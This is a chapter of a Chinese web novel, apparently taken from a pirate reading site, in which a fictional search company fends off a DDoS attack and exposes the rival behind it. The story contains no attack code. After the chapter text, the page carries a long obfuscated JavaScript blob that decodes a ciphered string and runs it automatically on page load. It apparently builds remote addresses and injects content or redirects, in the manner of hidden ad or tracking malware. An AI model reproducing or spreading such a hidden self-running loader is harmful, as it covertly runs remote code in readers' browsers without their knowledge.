首页
第三百二十七章 防火墙
返回

第三百二十七章 防火墙

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge678.com,更新快,无弹窗!


    第三百二十七章防火墙(第1/2页)
    何明的喊声像一把刀,切开了会议室里短暂的松弛。
    炜杰转过身,三步走到何明身后。电脑屏幕上,流量监控曲线像一堵垂直的墙,从两千的基线猛然拔起,直冲到一万七,而且还在往上爬。红色警报在屏幕一角闪烁,数字每跳一次,就意味着更多恶意请求正在涌来。
    “什么时候开始的?“炜杰问。
    “两分钟前。“何明的十指在键盘上飞舞,“攻击源分布在全国二十三个城市,超过八百个独立地址,全部是伪造的网际协议地址,无法追溯真实来源。“
    “能挡住吗?“
    “现有带宽撑不住。“何明咬紧牙关,“主服务器的上行带宽只有一百兆,按现在的请求密度,最多再坚持十五分钟,然后全部服务会崩溃。搜索、千度知道、图片、地图——全部停摆。“
    炜杰看向李彦强:“备用方案?“
    李彦强已经站了起来,脸色铁青:“老周,去机房,把备用路由器的热切换打开。小陈,联系网络服务提供商,申请紧急带宽扩容。刘芳,准备对外公告草稿,一旦服务中断,立刻向用户说明情况。“
    老周抓起外套,冲出会议室。小陈扑向电话机。刘芳打开笔记本电脑,手指悬在键盘上方。
    “不行。“炜杰说。
    所有人都停下了动作,看向他。
    “不能走正常流程。“炜杰说,“网络服务提供商的扩容申请要走审批,最快也要四十八小时。赵明远不会给我们四十八小时。“
    “那怎么办?“何明问。
    炜杰掏出手机,翻到一个号码,拨了出去。电话响了三声,接通了。
    “马总,我是炜杰。“炜杰的声音很稳,“千度遇到一点麻烦,需要借您一条线路应急。对,现在。价格您开,但要在三十分钟内生效。“
    电话那头说了几句。炜杰听完,只回了一个字:“好。“
    他挂断电话,转向何明:“马化斌,腾信的数据中心。他们上个月刚扩容了千兆骨干网,腾信即时通讯的服务器集群在昌平。马化斌答应给我们划一条临时通道,带宽五百兆,时效二十四小时。“
    何明瞪大了眼睛:“腾信?
    “赵明远要打的是整个中国互联网,不只是千度。马化斌看得清楚,千度倒了,搜乎下一步就会对腾信下手。“
    “通道怎么接?“
    “老周在机房,五分钟内会收到腾信技术团队的远程协助请求。“炜杰说,“你配合他们做流量分流,把恶意请求引到腾信的清洗节点,干净流量回注到我们的主服务器。“
    何明没有犹豫,抓起手机往机房跑去。
    下午三点十五分,攻击强度达到峰值。
    何明坐在机房的终端前,屏幕上的数字像发了疯一样跳动。两万。两万三。两万七。恶意请求从全国各地涌来,像一股黑色的潮水,拍打着千度的服务器大门。
    但潮水被分流了。
    腾信的清洗节点像一道大坝,把浑浊的洪水拦在外面,只让清澈的水流通过。老周站在路由器旁边,手里攥着一把螺丝刀,指节发白。他的眼睛盯着状态灯,绿灯闪烁,意味着通道还活着。
    “坚持住。“何明对自己说,也像在对整个机房说。
    炜杰站在会议室的窗前,手机贴在耳边。电话那头是马化斌。
    “马总,欠你一个人情。“炜杰说。
    “人情以后再说。“马化斌的声音带着南方人特有的平直,“我现在要的是情报。你的技术团队能不能锁定攻击的指挥节点?“
    “正在试。“
    “试快点。“马化斌说,“这种规模的分布式拒绝服务攻击,不可能只靠八百个肉鸡撑起来。背后一定有一个主控服务器在协调。找到它,就能找到赵明远雇的人。“
    “找到之后呢?“
    “交给我。“马化斌的声音冷下去,“腾信的安全团队有办法让那个人永远进不了这个行业。“
    电话挂断了。
    炜杰转过身,看向会议室里的其他人。苏晓棠还坐在角落里,双手捧着那杯已经凉透的水。她的眼睛盯着电视屏幕,屏幕上正在回放赵明远发布会提前结束的画面。
    “怕吗?“炜杰走过去,在她身边坐下。
    苏晓棠摇摇头,又点点头。
    “我不知道。“她说,“以前你在北京做千度,我觉得那是一件很遥远的事。现在才发现,原来你们每天都在打仗。“
    “每天都在打仗。“炜杰说,“只是今天的枪声特别响。“
    下午四点,何明从机房打来电话。
    “找到了。“他的声音沙哑,像喊了太久,“攻击的主控服务器在深圳,归属南山软件园。网际协议地址段和之前端口转发规则的目标地址完全一致——是赵明远自己的机房。“
    炜杰握紧手机:“能证明是他发起的吗?“
    “不能直接证明。主控服务器用的是第三方托管,注册人是一家空壳公司。但空壳公司的法人代表——“何明顿了顿,“叫赵明远。“
    炜杰站起身,走到白板前。白板上还留着昨天写的数字:千度知道四月目标五十万用户。搜索响应时间压到零点三秒。
    他拿起马克笔,把白板擦得干干净净,然后写下两个字:
    “收网。“
    “什么意思?“刘芳问。
    “赵明远犯了两个错误。“炜杰说,“第一,他用自己的名字注册空壳公司,留下了法律可追溯的链条。第二,他发动了这次攻击,意味着他已经没有底牌了。一个人只有在自己输光的时候,才会掀桌子。“
    (本章未完,请点击下一页继续阅读)第三百二十七章防火墙(第2/2页)
    “我们怎么收网?“
    “三件事。“炜杰说,“第一,何明,把攻击日志、主控服务器地址、空壳公司注册信息,全部打包,发给千度的法律顾问,准备报案材料。第二,小陈,把王志远给的银行流水扫描件,加上我们刚拿到的攻击证据,整理成一份完整的公开文件,发给我们能联系的每一家媒体。第三——“
    他停顿了一下,看向苏晓棠。
    “第三,我要打一个电话。“
    下午四点二十分,炜杰拨通了张建国在香港的号码。
    “建国哥,是我。“炜杰说。
    “我知道。“张建国的声音很平静,“我在看新闻。赵明远的发布会提前结束,网上已经有人在传千度手里有他的把柄。“
    “不只是把柄。“炜杰说,“我们有银行流水原件扫描件,证明他从华南信托拿走了八百万代持资金。我们还有他发动网络攻击的证据。“
    电话那头沉默了几秒。
    “你想让我做什么?“张建国问。
    “艾迪吉投搜乎,是基于赵明远的个人信用和搜乎的估值。如果赵明远的个人信用破产,搜乎的估值会跟着崩盘。“炜杰说,“建国哥,你在香港金融圈有人脉,我需要你把这份材料递到艾迪吉的投委会手里。不是通过正常渠道,是通过私人关系。“
    “你在让我做一回小人。“张建国说。
    “我在让你做一回公道。“炜杰说,“华南信托的两万投资者里,有多少是香港的普通市民?赵明远卷走的那八百万里,有没有艾迪吉客户的血汗钱?“
    张建国又沉默了。这一次,沉默的时间更长。
    “材料发到我邮箱。“张建国最后说,“剩下的事,我来安排。“
    “谢谢。“
    “别谢我。“张建国的声音低下去,“我这么做,不是为了你。是为了我当年的合伙人——他也投了华南信托,五十万,全部打了水漂。后来他得了抑郁症,从楼上跳下去了。“
    电话挂断了。
    炜杰握着手机,站在窗前。窗外的雪下得更大了,中关村的大街被白色覆盖,像一张被重新洗过的纸。
    晚上七点,第一份报道出来了。
    不是科技媒体,是一家财经周刊的网络版。标题很克制:《搜乎创始人赵明远疑似卷入华南信托资金纠纷,千度公布银行流水扫描件》。文章没有下结论,只是陈述事实:扫描件上的日期、金额、公章、签名,以及代持投资款四个字的法律含义。
    晚上八点,三家科技媒体跟进。
    晚上九点,省城晚报发了特稿,把赵明远和省城建委副主任马长青的关系挖了出来。马长青的照片和深圳酒会的照片并排刊登,配文只有一句话:“谁在代持谁?“
    晚上十点,艾迪吉香港总部发来内部邮件——这是张建国通过私人渠道传出来的消息——投委会决定暂停对搜乎的一切投资流程,启动对赵明远个人背景的紧急尽职调查。
    晚上十一点,赵明远的手机关机了。
    晚上十一点半,搜乎深圳研发中心传出一则未经证实的消息:赵明远辞去了搜乎首席执行官职务,由联合创始人临时接任。
    凌晨零点,炜杰站在千度办公室的窗前,看着窗外。雪停了,天空中露出几颗稀疏的星星,像被钉子钉在黑色天幕上的碎玻璃。
    何明从机房走出来,手里拎着两瓶矿泉水。他递给炜杰一瓶。
    “攻击停了。“何明说,“二十分钟前,恶意请求突然归零。像是有人拉了电闸。“
    “不是拉了电闸。“炜杰拧开瓶盖,喝了一口,“是赵明远跑了。他拉电闸之前,需要先保住自己。“
    “他还会回来吗?“
    “不会以同样的方式回来了。“炜杰说,“但他不会消失。赵明远这种人,只要还有一口气,就会找新的缝钻。“
    何明靠在窗边,和炜杰并肩站着。两个人都没有说话,只是看着窗外的夜空。
    “炜杰。“何明突然开口。
    “嗯?“
    “你有没有想过,这件事结束之后,千度会变成什么样?“
    炜杰没有立刻回答。他想了很长时间,长到何明以为他不会回答了。
    “不知道。“炜杰最后说,“但我知道一件事——中国互联网不会只有搜乎和千度。腾信,千度,还有那些在宿舍里写代码的大学生——这个战场上的人只会越来越多。“
    “那我们怎么办?“
    “活下去。“炜杰说,“比他们所有人都活得久。“
    他转身走回会议室。苏晓棠还坐在角落里,头靠在椅背上,已经睡着了。她的呼吸很轻,像一片羽毛落在水面上。
    炜杰脱下外套,轻轻盖在她身上。
    然后他在她旁边的椅子上坐下,闭上眼睛。
    窗外,北京的夜空下,千度的服务器还在运转。搜索请求一条接一条地涌入,被分流,被处理,被返回。用户们不知道刚才发生了什么,他们只是在搜索——找信息,找答案,找他们自己需要的东西。
    而在某个遥远的角落里,赵明远可能已经登上了飞往香港的飞机,或者藏在深圳的某个安全屋里,盘算着下一步棋。
    但无论如何,今晚的战斗结束了。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();